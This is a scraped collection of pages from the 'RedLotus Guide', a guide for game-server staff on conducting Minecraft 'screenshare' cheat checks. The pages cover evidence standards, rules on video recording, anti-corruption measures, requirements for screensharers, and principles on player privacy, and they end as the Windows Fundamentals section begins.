![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252F2FrRLm94PuYbPUX4PSZu%252F2012661b78ed23309ee2c485ff8d0c50.jpg%3Falt%3Dmedia%26token%3Df006df0d-0fa3-4517-ba19-a31342866770&width=490&dpr=3&quality=100&sign=92041bc5&sv=2) [](https://discord.com/invite/mighettorz) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252F441NlJeXaA3PLZ9V1jTH%252F4525530e317f50bb0a30b7997736bace.jpg%3Falt%3Dmedia%26token%3D4c94f715-364b-446c-8cd2-24c618c13894&width=490&dpr=3&quality=100&sign=6ad30f30&sv=2) [](https://discord.com/invite/fullsend) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FafxtQu1FFNNdQPH2BltG%252F6596b77964b4d680a7e7d0e3e58e007e.jpg%3Falt%3Dmedia%26token%3Df96bd9ba-dc55-4784-9fd7-96eee6985f0b&width=490&dpr=3&quality=100&sign=8cc6d6da&sv=2) [](https://discord.com/invite/bridgescrims) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FtJ3CLQ4YA0XgLOWKax8q%252Fddeaeac01d04f61937837199a06d001e.jpg%3Falt%3Dmedia%26token%3D5c09a75f-6682-4c47-9f57-e911f36e8604&width=490&dpr=3&quality=100&sign=62d5d07b&sv=2) [](https://discord.gg/APwb3vdRqm) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FqF0P3z032m0T4wpJbf6J%252F3e05a4963a5b8e81a919bdcb1c16ab56.jpg%3Falt%3Dmedia%26token%3D1e1e5588-a87c-4605-8903-4c59d3e8f2b1&width=490&dpr=3&quality=100&sign=5c2b1ee&sv=2) Mineberry RBW [](https://discord.gg/fadedmc) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FxKLsgCi21LgvcMFerQX4%252Fa_db49dbb699fa361ac7cacda6200e6d84.gif%3Falt%3Dmedia%26token%3Dd49b4f2b-b0ab-4ee3-b1ce-63f07471998e&width=490&dpr=3&quality=100&sign=38ce65de&sv=2) [](https://discord.gg/zrbw) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FPqzSLr4ZGRuEBdaIOcTQ%252F0b627bf12fcd218206a16be8eb81712c.jpg%3Falt%3Dmedia%26token%3D63290797-1fc5-4dbd-a7f4-cd5e5a22a611&width=490&dpr=3&quality=100&sign=92641e2f&sv=2) [](https://discord.com/invite/housing) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FnGSnLbndIfDuAuS8fznq%252F6ff767aa46980304338249c49dd49855.jpg%3Falt%3Dmedia%26token%3Dd53c9424-6a1b-4951-9fe1-8ad1739e246e&width=490&dpr=3&quality=100&sign=c70dd1a&sv=2) [](https://discord.gg/HfFkdRgrts) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FDUmQu2G7DS4wq8XNj5AN%252F805f1017acb6a5ab6fadc79152f65910.jpg%3Falt%3Dmedia%26token%3Dee128f5e-e104-4abc-abfc-98177379f0b2&width=490&dpr=3&quality=100&sign=b4880f56&sv=2) [](https://discord.com/invite/ht3) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252Ftsb3l9yP0LZCdQcuus0U%252Fstandard.gif%3Falt%3Dmedia%26token%3D04d65873-3f43-43c2-8ad3-2cd9d7cf6b25&width=490&dpr=3&quality=100&sign=701e7b72&sv=2) [](https://discord.com/invite/miniwalls) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FXDJaueMwq9jUX6RgnTpe%252F6006557a11432922ac91336de9b1b7fc.jpg%3Falt%3Dmedia%26token%3D73c288fc-2b7b-4754-bf21-c9778bd5bad8&width=490&dpr=3&quality=100&sign=77ccce8e&sv=2) [](https://discord.gg/tiers) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FsrlwWRTCnEE6dl9ChPpM%252Ffea5a67f2b7780ee52d143d6e03f0496.jpg%3Falt%3Dmedia%26token%3Db682346c-e130-4c44-8b46-c3294e203642&width=490&dpr=3&quality=100&sign=75dfdde8&sv=2) [](https://discord.gg/diapot) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252Fr1HD2XmulYIpynEpsPqy%252Ff343e8aa1378124e1266ac04ff34ce53.jpg%3Falt%3Dmedia%26token%3D1178b003-a55f-4f1d-9941-4bfb37f3f5a9&width=490&dpr=3&quality=100&sign=fe27747c&sv=2) [](https://discord.gg/uhctiers) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FJ4NamWrtiKGuUMc8aANZ%252F66be189dfe6630aa3e0ef5432d6ff82b.jpg%3Falt%3Dmedia%26token%3D8be689ef-a391-4e83-94e7-8fa70681c5a8&width=490&dpr=3&quality=100&sign=4a043ac1&sv=2) [](https://discord.gg/neth) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FcqDHia3ukHziaukX13Qi%252F364c5d63b4d6399df340bae5c96f1554.jpg%3Falt%3Dmedia%26token%3Db02934a5-2a51-407f-a611-819d5683f154&width=490&dpr=3&quality=100&sign=1eef3ee3&sv=2) [](https://discord.gg/axe) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FeJzlmicN9z83FRD3tFkr%252Fa9cee64ee4a20c3af9791a443a33be23.jpg%3Falt%3Dmedia%26token%3D42879621-ee0f-4b44-8273-8ff9aa6d942d&width=490&dpr=3&quality=100&sign=add017c&sv=2) [](https://discord.gg/smppvp) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FskAUKF8igeysNKNvQ1dd%252Fa06a2fb87442c04c53197399614637a3.jpg%3Falt%3Dmedia%26token%3D928764bc-37f2-4bb9-ab22-e88a055c4fc5&width=490&dpr=3&quality=100&sign=e6d10832&sv=2) [](https://discord.gg/rQrPJYt8vN) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FNQs2AOD1trtAxTdyu7c7%252F5e14b12c951e3c7ab42d8de8a79c817c.jpg%3Falt%3Dmedia%26token%3D1f47ed53-4424-4b0a-a7a1-b877610a05c3&width=490&dpr=3&quality=100&sign=e9eabc10&sv=2) [](https://discord.gg/crystaltl) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FevQeIFk5nxyUttUv8wSe%252F2472b889354c50b16ea006d647ace1d5.jpg%3Falt%3Dmedia%26token%3D99c04ea5-bb7b-4467-a3ea-f0fc203ea097&width=490&dpr=3&quality=100&sign=5822f61e&sv=2) [](https://discord.com/invite/eu3JEKfX) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FtXHL1FtZxCi7k4fNfQMY%252F7b245272a493192f966f47f1dfb9bb86.webp%3Falt%3Dmedia%26token%3D4f0698d1-9688-4d75-90bf-55fe00b791e7&width=490&dpr=3&quality=100&sign=b5f3da32&sv=2) [](https://discord.gg/pvpguide) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FEvAOhMszVMHxJMtPj2xt%252Fff6d61376ce64ea9fd3ab92c4e10df0a.jpg%3Falt%3Dmedia%26token%3D2d244466-3eec-4ade-a985-9227e214da18&width=490&dpr=3&quality=100&sign=97bd0534&sv=2) [](https://discord.gg/traininghub) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FusjFaf6xLK6yny68dd77%252F88d1512db7b7cfbf47b2611e7e5aae6d.jpg%3Falt%3Dmedia%26token%3Dd0be7e24-54ac-4a68-af82-3f041f027842&width=490&dpr=3&quality=100&sign=582cde&sv=2) [](https://discord.gg/pvptiers) ![Cover](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2F1535503558-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FBsdgpcII8aWYFAmYxE4U%252Fuploads%252FUITeVssQu6WHmZmsR3Ns%252Fa7b996fb80e16c9709ef552507fadff6.webp%3Falt%3Dmedia%26token%3Df12d4aa6-66e7-4083-9900-c77f17b337e4&width=490&dpr=3&quality=100&sign=24bd69fe&sv=2) [NextWhat is a Hack Check (Screenshare)?](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/what-is-a-hack-check) Last updated 4 months ago --- # What is a Hack Check (Screenshare)? | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/what-is-a-hack-check.md) . At its core, a _Hack Check_ or _Screenshare_ is a specific, structured procedure initiated and conducted by authorized server staff members. Its objective is to investigate and determine whether a player under scrutiny is utilizing cheats, unauthorized software, or other modifications that confer an unfair advantage within the game environment. It represents a direct method of verification, moving beyond behavioral analysis or statistical detection to examine the player's actual system environment and game configuration for tangible evidence. This practice is fundamentally rooted in the principle of maintaining **fair play** – ensuring that success within the game is derived from skill, strategy, and legitimate gameplay, rather than illicit technological aids. Cheating undermines the competitive balance, erodes community trust, and can lead to widespread player frustration. Screensharing, therefore, acts as a crucial enforcement mechanism where other methods fall short. The process typically involves isolating the suspected player, obtaining their (usually necessary) consent to allow remote access to their computer via specialized software (like AnyDesk or TeamViewer), and then conducting a methodical examination of files, processes, system settings, and game-related artifacts. It is a detailed inspection designed to confirm or refute allegations of cheating based on observable evidence found on the player's machine during the check. [PreviousIntroduction](https://itzicehere.gitbook.io/redlotusguide) [NextThe Goal: Demonstrating Cheat Usage](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/the-goal-demonstrating-cheat-usage) Last updated 1 year ago --- # The Goal: Demonstrating Cheat Usage | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/the-goal-demonstrating-cheat-usage.md) . The ultimate objective of any screenshare is: to **demonstrate**, through verifiable evidence, whether or not a player was using cheats, or to definitively rule out such activity. This process is akin to a form of targeted digital investigation. However, the crucial point central to ethical screensharing, is that _what constitutes sufficient proof_ and _how that proof must be demonstrated_ is **dictated solely and entirely by the specific rules and guidelines established by the server or community** conducting the check. There is no single universal standard; server rules are the definitive authority. Failing to adhere to these rules, misinterpreting evidence, or lacking the technical skill to uncover hidden cheats can lead to a "bypass" – a situation where a cheating player evades detection. Understanding the server's specific criteria for evidence is paramount before initiating any check. * _Possession vs. Execution:_ The evidentiary standard varies significantly. Some servers operate under a stricter _ban for possession_ policy. Here, the mere presence of cheat-related files (executables, DLLs, configuration files, known cheat components in specific directories like `.minecraft/mods` or download folders) within a defined recent timeframe might be sufficient grounds for a ban. The staffer's goal is primarily detection and documentation of these forbidden files. However, the **vast majority** of servers require **proof of execution**. This is a higher standard, demanding evidence not just that a cheat _existed_ on the system, but that it was **actively running** and potentially influencing the game during the period relevant to the suspicion. This involves finding artifacts that indicate the cheat process was live, interacting with memory, or leaving operational logs. * _The Importance of Execution Context ("Instance"):_ When the standard is _ban for execution_, merely showing that a cheat ran _at some point ever_ is often insufficient and can lead to disputes. **Precision regarding the timing of execution is critical.** Staffers must strive to demonstrate that the cheat was executed **during the relevant timeframe**, which is typically defined as the current _game instance_ (from the launch of the game process, e.g., `javaw.exe`, until the check) or the current _boot instance_ (from the user's logon time for the current Windows session until the check). This often involves meticulous comparison of timestamps: the last execution time of the cheat artifact (found via Prefetch, BAM, memory strings, etc.) must correlate closely with the start time of the relevant game process or the system logon time. This specific timeframe, sometimes referred to as "instance," defines the context. **Issuing bans based on execution evidence conclusively dated** _**outside**_ **this relevant instance** (e.g., a cheat run days or weeks prior with no evidence of recent use) **can be considered imprecise and may lack sufficient proof under many server rulesets.** Understanding and respecting the "instance" context is fundamental to accurate and fair execution-based bans. The interpretation and weight given to evidence outside the instance depend entirely on the server's codified rules. [PreviousWhat is a Hack Check (Screenshare)?](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/what-is-a-hack-check) [NextThe Staffer's Perspective and the Learning Process](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/the-staffers-perspective-and-the-learning-process) Last updated 1 year ago --- # ScreenSharing Protocols (Video Recording) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/screensharing-protocols.md) . Red Lotus mandates strict, non-negotiable protocols regarding the documentation of screenshare procedures, primarily through video recording: * **Mandatory Video Recording:** It is **compulsory** for every ScreenSharer to record the **entirety** of every screenshare they conduct, from the moment interaction begins until it concludes. This applies universally, regardless of the ScreenSharer's personal hardware capabilities; claiming a "low-end PC" is **not a valid excuse** for failing to record. Solutions must be found to meet this requirement. * **Purposes of Recording:** As detailed previously, recording serves multiple vital functions: player safety assurance, evidence review by oversight, verification of procedural accuracy and truthfulness (preventing framing), compliance with data security/privacy standards, and assessment of the ScreenSharer's skills and adherence to protocols. * **Consequences of Non-Compliance:** Failure to provide a complete video recording for a conducted screenshare may result in significant penalties for the ScreenSharer, including but not limited to _demotion, temporary or permanent suspension from screensharing duties, or mandatory re-evaluation of their skills and understanding of protocols_. * **Invalid Bans:** Any ban issued based on evidence purportedly gathered during a screenshare for which **no corresponding complete video recording exists MUST be overturned immediately** upon appeal or review. The recording is the primary validation of the process and findings. * **Screenshots Exception (Extremely Limited):** In very rare circumstances, screenshots _might_ be deemed provisionally acceptable as supplementary documentation _only if_ the specific ScreenSharer involved has a demonstrable, long-standing, and impeccable track record of respecting player privacy and security protocols, as judged by management. However, this is a significant exception and **should not be standard practice**. Furthermore, if _any_ dispute, allegation of misconduct, or question regarding the integrity of the screenshare arises, the requirement for full video evidence still applies retroactively, and its absence will invalidate the findings. Video remains the gold standard. [PreviousRequirements for ScreenSharers](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/requirements-for-screensharers) [NextAnti-Corruption Measures](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/anti-corruption-measures) Last updated 1 year ago --- # The Staffer's Perspective and the Learning Process | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/the-staffers-perspective-and-the-learning-process.md) . Conducting screenshares effectively requires not only technical proficiency but also a specific mindset grounded in fairness, continuous improvement, and integrity. * **Goal:** The SSer's primary role is that of a **guardian of fair play**. The motivation must stem from a desire to maintain a level playing field and protect the community from the negative impacts of cheating. It is **not** a platform for building personal reputation, seeking notoriety, or engaging in a competitive "ban farming" exercise. Every action taken should be justifiable in the context of upholding the server's rules and fostering a positive environment. * **Dealing with Failure (Being 'Bypassed'):** The term "bypass" is common parlance for when a staffer is unable to find sufficient evidence of cheating on a player who was, in fact, cheating. It is crucial to recognize that **this will happen**. Cheats and evasion techniques constantly evolve, and no SSer, regardless of skill, can guarantee a 100% detection rate. Encountering a bypass should not be viewed as a personal failing or a reason for unwarranted suspicion or frustration. Instead, it **must** be treated as a vital **constructive learning experience**. What went wrong? Were there artifacts overlooked? Was a new technique employed? Rigorous post-check analysis, perhaps discussing anonymized scenarios with peers or mentors, is essential for honing skills and adapting to new threats. Even if a player claims to use a "private client," it doesn't absolve the SSer from the responsibility of conducting a thorough check; the goal is always to find evidence through skillful application of techniques. Fear of being bypassed should never influence the decision-making process. * **Integrity and Evidence:** This is the cornerstone of legitimate screensharing. Staffers operate in a position of trust and authority, granted access to a player's private system. This power demands absolute integrity. **Bans must** _**only**_ **be issued based on concrete, unambiguous evidence** that directly aligns with the **explicitly defined rules** of the server. Assumptions, gut feelings, player reputation, or pressure to secure a ban have no place in this process. **"Staffers should not issue bans out of fear of being bypassed, nor should they make assumptions."** Honesty is critical – honesty with oneself about the certainty of the evidence, honesty with the player regarding the findings (within the bounds of server policy), and honesty with the administration and community through accurate reporting. False or poorly evidenced bans severely damage trust and the credibility of the entire moderation process. Adherence to the rules and reliance on verifiable facts are paramount. This aligns directly with the core tenets of frameworks like the Red Lotus principles, which prioritize player safety and data security alongside procedural correctness. * * * [PreviousThe Goal: Demonstrating Cheat Usage](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/the-goal-demonstrating-cheat-usage) [NextRed Lotus Principles](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles) Last updated 1 year ago --- # Requirements for ScreenSharers | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/requirements-for-screensharers.md) . To ensure a baseline level of maturity, competence, and understanding, Red Lotus outlines specific prerequisites for individuals permitted to perform screenshares: * **Minimum Age:** ScreenSharers must be at least **16 years old**. This requirement aims to ensure a minimum level of maturity, responsibility, and understanding of the gravity associated with accessing private systems and data. * **Minimum Experience:** A candidate must possess a minimum of **4 months of active, dedicated experience purely in the practice of ScreenSharing**. This period allows for the development of familiarity with common tools, procedures, operating system artifacts, typical user setups, and the nuances of interpreting findings. This is experience in _conducting_ screenshares, not merely observing or being part of a staff team. * **Verified Skills:** Experience alone is insufficient. A ScreenSharer's skills **must be actively verified** by server or team management. This verification typically involves practical assessments, such as successfully navigating simulated bypass scenarios (Anti-ScreenShare tests) or demonstrating proficiency in manual artifact analysis techniques. Reliance solely on automated tools is unacceptable; manual understanding is key. * **Country Information:** A ScreenSharer's country of residence should be noted _solely_ for the purpose of navigating potential legal complexities or jurisdictional issues related to data privacy laws (e.g., GDPR, CCPA). This information should be handled confidentially. Crucially, **IP addresses, specific geolocations (State/City/Urban area), or any other personally identifying location data MUST NOT be requested or stored** as part of the ScreenSharer qualification process. [PreviousRed Lotus Principles for Ethical and Effective ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/red-lotus-principles-for-ethical-and-effective-screensharing) [NextScreenSharing Protocols (Video Recording)](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/screensharing-protocols) Last updated 1 year ago --- # Anti-Corruption Measures | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/anti-corruption-measures.md) . To safeguard the integrity, fairness, and accuracy of the screensharing process, Red Lotus implements specific anti-corruption measures designed to prevent abuse and ensure unbiased outcomes: * **Purpose:** These measures are specifically aimed at preventing false punishments (bans issued without sufficient or valid evidence), bribery (exchanging favors or benefits for lenient checks or predetermined outcomes), evidence planting or tampering, and any other action that compromises the **genuineness and accuracy** of the screenshare and its findings. * **No Bribery:** Any form of bribery, whether solicited or offered, involving ScreenSharers, players, or other staff members, is **strictly disallowed and constitutes a severe breach of ethics**. Any benefits, gifts, or advantages received by ScreenSharers or the SS team from non-standard sources (e.g., player donations directed specifically at the SS team) must be managed with full transparency, typically requiring such benefits to be pooled and distributed equitably among the team, under the direct oversight and approval of designated Leaders, Managers, or Server Owners. * **Evidence Scrutiny:** If evidence collected during a screenshare is deemed insufficient, ambiguous, questionable, or raises concerns about its validity or context, the ScreenSharer's explanation or interpretation **should not be automatically accepted** at face value. Management or leadership must conduct further scrutiny, potentially involving secondary reviews or consultation with other experienced staff, before a final decision is made. Maintaining objectivity is key. * **Right to Review Evidence:** As stated under Security and Privacy, suspects should generally be allowed to review the specific evidence used to justify a ban against them, **upon submitting a reasonable request**. The determination of "reasonableness" is context-dependent and should be judged by management based on factors like the suspect's overall behavior (cooperative vs. obstructive/abusive), the clarity and specificity of their request, and the stated purpose (e.g., understanding the ban vs. attempting to find exploits in the detection method). The goal is to balance transparency with procedural security. * * * [PreviousScreenSharing Protocols (Video Recording)](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/screensharing-protocols) [NextWindows Fundamentals](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals) Last updated 1 year ago --- # Red Lotus Principles for Ethical and Effective ScreenSharing | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/red-lotus-principles-for-ethical-and-effective-screensharing.md) . The following core principles guide every aspect of screensharing conducted under or referencing the Red Lotus framework. They emphasize a value hierarchy where human factors and data security take precedence. * **Player Safety Over Accuracy:** The physical, digital, and psychological safety and security of the player undergoing a screenshare are deemed **more important than the outcome or speed of the check itself.** This principle acknowledges that the process involves granting significant access to personal systems and data. Therefore, ensuring the player's well-being, protecting their system from unintended harm, and minimizing undue stress must be prioritized above the technical goal of detecting cheats, regardless of whether advantages are ultimately found. Actions that compromise player safety for the sake of expediency or a perceived increase in detection accuracy are explicitly condemned. * **Data Security Paramount:** The protection of a player's personal data is **absolutely imperative and non-negotiable**. During a screenshare, staff gain access to potentially sensitive information far beyond the game itself (e.g., personal files, browsing history, communication logs, credentials). This principle mandates that the confidentiality and integrity of this data must be safeguarded above any perceived benefit or advantage for the server, community, or screensharing team. Protocols must be in place to prevent unauthorized access, copying, or disclosure of player data encountered during the check. * **Upholding Fair Play Standards:** Red Lotus firmly condemns any actions or intentions aimed at dismantling or weakening established institutions, regulations, or procedures that ensure **fair play, transparency, and privacy** during screenshares. This includes attempts to circumvent protocols, disregard established rules for evidence, or diminish the importance of player rights and data protection measures for the sake of convenience or expediency. Maintaining the integrity of the process itself is vital for community trust. * **Verified ScreenSharer Expertise:** The individuals conducting screenshares (variously referred to as "ScreenSharers," "PC Checkers," or "Account Reviewers") wield significant access and responsibility. Therefore, their experience, technical skills, and understanding of procedures and ethical guidelines **must be rigorously tested, verified, and formally approved** by designated team leadership (e.g., SS Management, Server Administration). This is not a role for untrained personnel; verification ensures competence, reduces the risk of errors (false positives/negatives), and minimizes the potential for abuse of access. * **Adherence to the Charter:** Any server, community, or team that chooses to implement or reference Red Lotus guidelines assumes the responsibility of creating and maintaining a screensharing system that **fully aligns with the Red Lotus Charter and its foundational principles.** This signifies a commitment to upholding the ethical and procedural standards outlined herein, ensuring consistency and trustworthiness across implementations. [PreviousRed Lotus Principles](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles) [NextRequirements for ScreenSharers](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/requirements-for-screensharers) Last updated 1 year ago --- # Red Lotus Principles | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles.md) . The practice of screensharing, while necessary for maintaining competitive integrity in certain gaming environments, carries inherent responsibilities regarding player privacy and system security. Recognizing this, the _Red Lotus Unity_ establishes a clear framework of governing principles. These principles are not merely suggestions but foundational requirements designed to ensure that screenshares are conducted ethically, effectively, and with the utmost respect for the individuals involved. They represent a commitment to a higher standard, moving beyond simple cheat detection to encompass player safety, data security, procedural integrity, and demonstrable expertise. [PreviousThe Staffer's Perspective and the Learning Process](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses/the-staffers-perspective-and-the-learning-process) [NextRed Lotus Principles for Ethical and Effective ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/red-lotus-principles-for-ethical-and-effective-screensharing) Last updated 1 year ago --- # Windows Fundamentals | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals.md) . Effective screensharing requires more than just familiarity with cheat names or specific tools; it necessitates a foundational understanding of how the Windows operating system manages data, tracks activity, and structures information. Without this core knowledge, interpreting the artifacts found during a check becomes guesswork, potentially leading to errors or missed evidence. This section delves into the essential 